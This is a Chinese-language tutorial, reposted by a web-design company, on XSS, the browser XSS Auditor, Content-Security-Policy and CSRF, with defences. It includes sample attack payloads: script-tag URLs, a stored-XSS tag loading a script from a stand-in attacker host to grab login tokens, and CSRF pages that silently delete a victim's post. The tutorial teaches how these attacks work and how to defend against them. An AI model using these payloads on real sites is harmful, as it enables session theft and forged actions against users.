Web前端攻防,一不小心就中招了!

2017-05-10 1511 0 編輯:深圳網站建設 來源:互聯網

隨著各瀏覽器安全功能的提高,前端防御面臨的問題也沒有之前那么復雜,但瀏覽器的防御措施并不能百分百的保證網站的安全。

瀏覽器的XSS Auditor,使得反射型xss幾乎被廢;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的腳本執行!無疑,這對xss攻擊是一記重拳。但是道高一尺,魔高一丈,尤其是在安全界,永遠應該記住的一句箴言就是“只有相對的安全,沒有絕對的安全”。

本文重點介紹現代瀏覽器的安全特性以及瀏覽器依然不能防御的攻擊手段。

01- XSS

XSS攻擊:跨站腳本攻擊(Cross Site Scripting),為不和 CSS混淆,故將跨站腳本攻擊縮寫為XSS。

為什么叫跨站腳本?簡單來說,就是在一個網站上運行了該網站之外的js腳本(當然,開發者自已引用的可信源的js不算,比如使用了cdn的 jQuery )。

02- 一個經典的例子

假設有一個搜索頁面,關鍵字以Get方法傳遞。假設,搜索頁面在輸出結果時會無過濾的將用戶的關鍵字回顯到網頁上,大致邏輯如下:

//xss.php

<?php  

if(isset($_REQUEST["wd"])) 

 $wd=$_REQUEST["wd"]; 

if($wd){

  echo "<div>關鍵字'$wd'搜索的結果如下:</div>"

...

?>

然后搜索請求的鏈接是:

http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>

或者為了隱蔽編一下碼:

http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E

在es6下,你甚者可以用unicode碼點。

如果是在幾年前,你的瀏覽器大致都會彈出這樣一個窗口:

然而,現在不行了,在chrome和safari下,如果發現響應中包含請求參數中相同的代碼字符串,它們就會拒絕執行這些代碼,你會收到如下的錯誤提示:

The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.

03- XSS Auditor

xss auditor是Chrome 和 Safari中內建的一個防御xss攻擊的功能模塊,相當于一個審計器,有預設規則,主要功能就是針對上述這種情況。此功能默認是開啟的,當然也可以關閉,需要在response header中顯式指定:

//關閉 xss auditor

X-XSS-Protection: 0

當然,更強大的是,觸發后還可以將詳情上報,便于分析跟蹤:

X-XSS-Protection: 1; report=http://example.com/your_report_URI

也可以使用block模式:一旦觸發,當前頁面就會終止,并同時展示一個空白頁面給用戶:

X-XSS-Protection: 1; mode=block

如果將請求換成post,xss auditor還會被觸發嗎?答案是:可以!

XSS Auditor的缺點

我們將后臺邏輯改一下,給每個">"后加一個分號。

<?php  

if(isset($_REQUEST["wd"])) 

 $wd=str_replace(">",">;",$_REQUEST["wd"]); 

if($wd){

  echo "<div>關鍵字'$wd'搜索的結果如下:</div>"

?>

然后依然是之前的鏈接,刷新:

成功了,當然本例只是一個說明,通常情況下,我們都會對用戶提交的數據進行一些處理,如果這些處理導致和提交的內容不一樣了,但是仍然可以執行,比如像本例一樣。那么xss auditor 就無能為力了。不過xss auditor本身的智能度也挺高,像字符編碼,大小寫變化這種變化依然躲不過xss auditor。

04- 存儲型xss

比如網站有個留言板功能,但后臺未對用戶輸入進行過濾,攻擊者可以在留言編輯框中輸入:

<script src="http://www.hacker.org/xss.payload.js"></script>

然后再隨便輸入點其它文字,提交留言,提交成功后,內容將會被保存到服務器數據庫,只要再訪問留言列表,這個就會被插入到網頁中,xss.payload.js中的代碼就可以執行,如果訪問的用戶都是已登錄用戶,xss.payload.js可以獲取老瀏覽用戶的信息,如的登錄token、用戶的個人資料等,payload甚至可以拉一個全家桶下來。以前的防御手段主要是對用戶輸入進行過濾如:去除html標簽,實體化,關鍵字過濾等等,這樣一來,最終的結果就是后臺的大多數代碼都是在做字符串驗證,非常的讓人不舒服。所以W3 org引入了CSP:

05- Content-Security-Policy

Content-Security-Policy 是W3 org草案,主要是用來定義頁面可以加載哪些資源,減少 XSS 的發生,chrome已經支持,詳情可以參考 Chrome CSP 官方文檔。這樣一來,從源頭上杜絕了不可信源的xss payload加載的可能型。比如下面的配置只允許加載本域下的腳本:

Content-Security-Policy: default-src 'self'

這樣即使頁面被注入了外部腳本,瀏覽器也會拒絕執行,你會收到如下的錯誤提示:

Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

當然,CSP能指定的規則是很多的,甚至也可以禁止內聯腳本執行,詳情請移步 W3 CSP。 瀏覽器的支持情況請移步 Can I use Content Security Policy。

06- CSRF

復制一段百度的介紹:CSRF(Cross-site request forgery跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。

CSRF攻擊流程

用戶登錄受信任網站A。

在不退出 A的情況下,訪問危險網站B(攻擊者網站或攻擊者掛馬的網站)。

舉個例子,假設A網站是個博客網站,用戶登錄之后可以刪除自己的博客,刪除的鏈接如下:

http://www.a.com/resource/delete/{blogid}

先看看后臺登錄邏輯:用戶登錄成功后,創建session,然后將session id通過cookie傳給瀏覽器,這樣便可以跟蹤用戶登錄狀態,以后所有的操作都是登錄態的操作。刪除博客時后臺的邏輯是這樣的:刪除之前,先檢驗用戶身份,如果身份校驗通過則刪除,如果未登錄,則重定向到登錄頁面。

假設攻擊者在這篇博客下面評論如下:

“hi 你好,讀了你的博客很受益,我有一個問題,請大牛解惑,鏈接是b,多謝?!”

看了這條評論后,你內心很滿足,于是決定指導一下這位粉絲,你點了鏈接,回答了問題,自信滿滿地返回到自己的博客,然后突然發現 “博客找不到了”! 怪哉,why? 中招了!

問題就在你剛才訪問過的網頁。假設你的博客id=8, b網頁內容大致如下:

<html>

 ...

 <img src='http://www.a.com/resource/delete/8'/>

 ...

<html>

網頁中img src正是刪除你的博客鏈接,或許你會說,后臺不是有身份認證么?是的,后臺的確有身份認證,但此時訪問b,你并沒有退出登錄,而此時b中瀏覽器又發起了 http://www.a.com/resource/delete/8 請求(同時會發送該域下的cookie),這樣一來,后臺用戶認證會通過,所以刪除會成功。ps:是不是以后可以用這招去刪帖了。。。

如果是post請求呢?

<html>

 ...

 <form method="post" action="http://www.a.com/resource/delete/">

   <input type="hidden" name=id value=8>

 </form>

 <script>

   $("form").submit()

  </script>

 ...

<html>

在b頁面中,制造一個表單,然后直接觸發提交,依然可以!

07- CSRF攻擊防御

隨機值法

后臺對每一次請求都生成一個隨機值,保存在session中,然后再將該值發送給頁面,可以在cookie中,也可以在一個隱藏的表單中(大多數后臺框架都是這么做的,如php的symfony、laraval),甚至也可以是在驗證碼中。下面以表單為例來說明:

<?php

 $hash = random(100000);

?>

<form method="post" action="delete/">

<input type="id" name="8">

<input type="hidden" name="hash" value="<?php $hash; ?>">

<input type="submit"  value="Submit">

</form>

然后提交時,服務端再對比hash值是不是和session中一樣。 攻擊者網站時無法預估這個hash的。但是請注意,在上面所述的攻擊場景中,把hash存在cookie中時不行的。

檢測refer

后臺在進行刪除操作之前先判斷refer,如果不是本域的請求,則直接拒絕,這種做法很有效。但是,想想這樣一個場景:如果博客允許評論里面插圖,攻擊者完全可以將 img插入到原網站中,這樣refer還是在當下域名,博客依然會被刪除。所有可能引入鏈接的html標簽都是不可信的,如script、link,后臺過濾策略一定要考慮到。

07- 總結

其實可以看到,上面的攻擊雖說現場是在前端,但是本質還是服務端驗證不足、過濾不全導致。對于前端來說,防御所做的事有限,但是站在攻擊者角度來講,又必需精通前端。今天只是web滲透的皮毛,如果大家有興趣,可以在評論中留言,以后也可以多分享一些服務器滲透、操作系統安全方面的,當然根據期待度以及我的時間而定。

專業的網站建設公司,深正互聯,如您有網站營銷需求,請您關注我們,或者致電13828884598

本站文章均為深正網站建設摘自權威資料,書籍,或網絡原創文章,如有版權糾紛或者違規問題,請即刻聯系我們刪除,我們歡迎您分享,引用和轉載,但謝絕直接搬磚和抄襲!感謝...
關注深正互聯
我們猜你喜歡
七星彩头尾